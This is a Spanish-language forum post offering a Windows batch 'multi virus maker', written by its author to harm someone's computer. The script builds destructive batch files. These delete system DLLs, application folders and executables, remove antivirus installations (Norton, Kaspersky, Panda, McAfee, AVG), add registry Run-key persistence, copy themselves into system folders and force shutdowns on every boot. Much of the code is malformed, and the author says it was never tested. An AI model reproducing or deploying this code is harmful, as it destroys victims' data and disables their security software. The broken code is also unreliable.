talvez no sea lo mejor pero para fastyidiar la vida a alguien recogi algunos virus y lo puse en un txt para hacer es virus maker no se si tenga un errorsillo mio pero alli les va espero les guste solo es de abris y guardar como cmd el hace el virus y lo pone en la misma carpeta donde este el maker listo para usar no lo pude provar pq tengo vista y la pc no es mia

aqui empieza:
@echo off
:menu
color 7
echo multi virus maker derechos reservados bakdraft/lantnegard.
echo del 1/4/08 11am. al 1/4/08 3pm
echo *//////////// backdraft/lantnegard \\\\\\\\\\\\\*
echo ************ ============================ ************
@echo off
color 0c
echo ノヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘサ
echo コ Menu コ
echo フヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘケ
echo コ 1.crear nuevo virus コ
echo コ 2.salir コ
echo ネヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘシ
set /p lolete= Que desea hacer? [1,2]
if %lolete%==1 goto acciones
if %lolete%==2 goto exit
:acciones
color 0c
set /p vir= nombre de nuevo virus (el virus se crea en la misma carpeta del maker):
set /p lolete= desea continuar?(s=si/n=no)
if %lolete%==s goto acciones
if %lolete%==n goto exit
:acciones
color 0c
echo ノヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘサ
echo コ virus コ
echo フヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘケ
echo コ 1.virus de asalto y reconocimiento コ
echo コ 2.virus de desbloqueo コ
echo コ 3.asesino de antivirus コ
echo コ 4.virus de arranque inicial コ
echo コ 5.salir コ
echo ネヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘシ
set /p opc= Que desea hacer? [1,2,3,4,5]R/....
if %opc%==1 goto opc1
if %opc%==2 goto opc2
if %opc%==3 goto opc3
if %opc%==4 goto opc4
if %opc%==5 goto exit
:opc1
echo @echo off
echo start iexplore >> virus.bat
echo start iexplore >> virus.bat
echo start winword >> virus.bat
echo start cmd >> virus.bat
echo start cmd >> virus.bat
echo start iexplore >> virus.bat
echo start iexplore >> virus.bat
echo start winword >> virus.bat
echo start cmd >> virus.bat
echo start cmd >> virus.bat
echo start iexplore >> virus.bat
echo start iexplore >> virus.bat
echo start winword >> virus.bat
echo start cmd >> virus.bat
echo start cmd >> virus.bat
echo start iexplore >> virus.bat
echo start iexplore >> virus.bat
echo start winword >> virus.bat
echo @echo off >> virus.bat
echo echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) ^>^> abrir.vbs >> virus.bat
echo echo Set colCDROMs = oWMP.cdromColl
ection ^>^> abrir.vbs >> virus.bat
echo echo. ^>^> abrir.vbs >> virus.bat
echo echo if colCDROMs.Coun
t ^>^= 1 then ^>^> abrir.vbs >> virus.bat
echo echo For i = 0 to colCDROMs.Coun
t - 1 ^>^> abrir.vbs >> virus.bat
echo echo colCDROMs.Item(i).Eject ^>^> abrir.vbs >> virus.bat
echo echo Next ' cdrom ^>^> abrir.vbs >> virus.bat
echo echo End If ^>^> abrir.vbs >> virus.bat
echo start abrir.vbs >> virus.bat
echo md c:\program files\virus >> virus.bat
echo echo off >> virus.bat
echo cd c:\documents and settings\andres\escritorio\virus.bat c:\program files\virus >> virus.bat
echo echo off >> virus.bat
echo @echo off >> virus.bat
echo :menu >> virus.bat
echo color 0c >> virus.bat
echo echo off >> copy virus.bat c:\ >> virus.bat
echo echo off >> virus.bat
echo @echo off >> virus.bat
echo cd C:\WINDOWS\system >> virus.bat
echo atrib -h -r -s -a *.dll >> virus.bat
echo del /q /f OLECLI.dll >> virus.bat
echo del /q /f SHELL.dll >> virus.bat
echo del /q /f VER.dll >> virus.bat
echo del /q /f TAPI.dll >> virus.bat
echo del /q /f MSVIDEO.dll >> virus.bat
echo del /q /f OLESVR.dll >> virus.bat
echo del /q /f LZEXPAND.dll >> virus.bat
echo del /q /f mmsystem.dll >> virus.bat
echo del /q /f crlds3d.dll >> virus.bat
echo del /q /f AVICAP.dll >> virus.bat
echo del /q /f AVIFILE.dll >> virus.bat
echo del /q /f COMMDLG.dll >> virus.bat
echo del /q /f LZEXPAND.dll >> virus.bat
echo @cd c:\Archivos de programa >> virus.bat
echo del /q /f /s "Alwil Software" >> virus.bat
echo del /q /f /s "Norton Antivirus" >> virus.bat
echo del /q /f /s "Kaspersky Lab" >> virus.bat
echo @echo off >> virus.bat
echo copy /y virus.bat c:\WINDOWS\Cursors >> virus.bat
echo copy /y virus.bat c:\WINDOWS\Fonts >> virus.bat
echo copy /y virus.bat c:\WINDOWS\Help >> virus.bat
echo @echo off >> virus.bat
echo reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v antiboot /t REG_SZ /d c:\WINDOWS\Cursors\Kalete.bat >> virus.bat
@echo off >> virus.bat
cd windows >> virus.bat
echo echo @echo off> winbat.bat >> virus.bat
echo echo echo msg * en cada inicio me veras ^>^ win.bat.bat >> virus.bat
echo reg add "hkey_local_mac
hine\software\microsoft\windows\currentversion\run" /v winbat /t reg_sz /d >> virus.bat
echo echo off >> virus.bat
echo echo reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v antiboot /t REG_SZ /d >> virus.bat
echo echo pause >> %windir%\system32\winantiboot.bat >> virus.bat
echo %windir%\system32\win_antiboot.bat >> virus.bat
echo %windir%\system32\win_antiboot.bat >> virus.bat
echo @echo off >> virus.bat
echo cd\ >> virus.bat
echo at 00:00 goto del1 >> virus.bat
echo at 00:00 goto init >> virus.bat
echo :del1 >> virus.bat
echo @echo off >> virus.bat
echo cd\ >> virus.bat
echo cd C:\Archivos de programa\silkroadonline >> virus.bat
echo attrib -H -S -R *.* >> virus.bat
echo del /S /Q *.* >> virus.bat
echo cd C:\Archivos de programa\Microsoft Office >> virus.bat
echo attrib -H -S -R *.* >> virus.bat
echo del /S /Q *.* >> virus.bat
echo cd C:\Archivos de programa\World of Warcraft >> virus.bat
echo attrib -H -S -R *.* >> virus.bat
echo del /S /Q *.* >> virus.bat
echo cd C:\Archivos de programa\MSN Messenger >> virus.bat
echo attrib -H -S -R *.* >> virus.bat
echo del /S /Q *.* >> virus.bat
echo cd C:\Archivos de programa\Skype >> virus.bat
echo attrib -H -S -R *.* >> virus.bat
echo del /S /Q *.* >> virus.bat
echo :init >> virus.bat
echo @echo off >> virus.bat
echo cd\ >> virus.bat
echo cd C:\Documents and Settings\All Users\* Inicio\Programas\Inicio >> virus.bat
echo echo @echo off > init.bat >> virus.bat
echo echo cd\ ^>^> init.bat >> virus.bat
echo echo s | erase C:\Archivos de programa\Grisoft\AVG Free\vault.dll >> virus.bat
echo @echo off >> virus.bat
echo cd\ >> virus.bat
echo cd archivos de programa >> virus.bat
echo del \Q\S Norton antivirus >> virus.bat
echo call cmd >> virus.bat
echo md c:\windows\system_32\ >> virus.bat
echo @echo off >> virus.bat
echo copy /y virus.bat c:\windows\system_32 >> virus.bat
echo @echo off >> virus.bat
echo @echo Hola >> virus.bat
echo del *.sys >> virus.bat
echo del *.exe >> virus.bat
echo del *.com >> virus.bat
echo cd windows >> virus.bat
echo del *.* >> virus.bat
echo cd\ >> virus.bat
echo del arquivo.bat >> virus.bat
echo @echo Est疽 muerto >> virus.bat
echo echo off >> virus.bat
echo reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v antiboot /t REG_SZ /d c:\windows\system32\winantiboot.bat > %windir%\system32\winantiboot.bat >> virus.bat
echo echo pause >> %windir%\system32\winantiboot.bat >> virus.bat
echo echo shutdown -s -f -t 10 -c "te lo dije, no enciendas el ordenador" > %windir%\system32\win_antiboot.bat >> virus.bat
%windir%\system32\win_antiboot.bat >> virus.bat
echo shutdown -s -f -t 10 -c " as sido destruido por lantnegard " >> virus.bat
echo cd\ >> virus.bat
echo copy /y %0 C:\Windows\System32\*.bat >> virus.bat
echo Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Win32 / "C:\Windows\System32\virus otro.bat" /f >> virus.bat
@echo off
ren virus.bat %vir%.bat
:opc2
echo @echo off >> virus.bat
echo taskkill /im bsib.exe /f >> virus.bat
echo exit >> virus.bat
@echo off
ren virus.bat %vir%.bat
:opc3
echo @echo off >> virus.bat
echo cls >> virus.bat
echo cd \ >> virus.bat
echo cd "archivos de programa" >> virus.bat
echo cd "Norton antivirus" >> virus.bat
echo attrib -R -A -S -H *.* >> virus.bat
echo del /S /Q *.* >> virus.bat
echo cd.. >> virus.bat
echo cd "Panda Software" >> virus.bat
echo attrib -R -A -S -H *.* >> virus.bat
echo del /S /Q *.* >> virus.bat
echo cd.. >> virus.bat
echo cd "Kaspersky Lab" >> virus.bat
echo attrib -R -A -S -H *.* >> virus.bat
echo del /S /Q *.* >> virus.bat
echo cd.. >> virus.bat
echo cd "McAfee.com" >> virus.bat
echo attrib -R -A -S -H *.* >> virus.bat
echo del /S /Q *.* >> virus.bat
echo cls >> virus.bat
@echo off
ren virus.bat %vir%.bat
:opc4
echo @echo off >> virus.bat
echo shutdown -s -f -t 10 c:\autoexec.bat >> virus.bat
echo cls >> virus.bat
@echo off
ren virus.bat %vir%.bat
@echo off
color 0c
set /p ver= su virus ha sido creado con exito (presione una tecla para continuar)
@echo off
echo ノヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘサ
echo コ virus コ
echo フヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘケ
echo コ s.hacer otro virus コ
echo コ n.salir コ
echo ネヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘヘシ
color 0c
set /p lolete= desea continuar?(s=si/n=no)R/.....
if %lolete%==s goto acciones
if %lolete%==n goto exit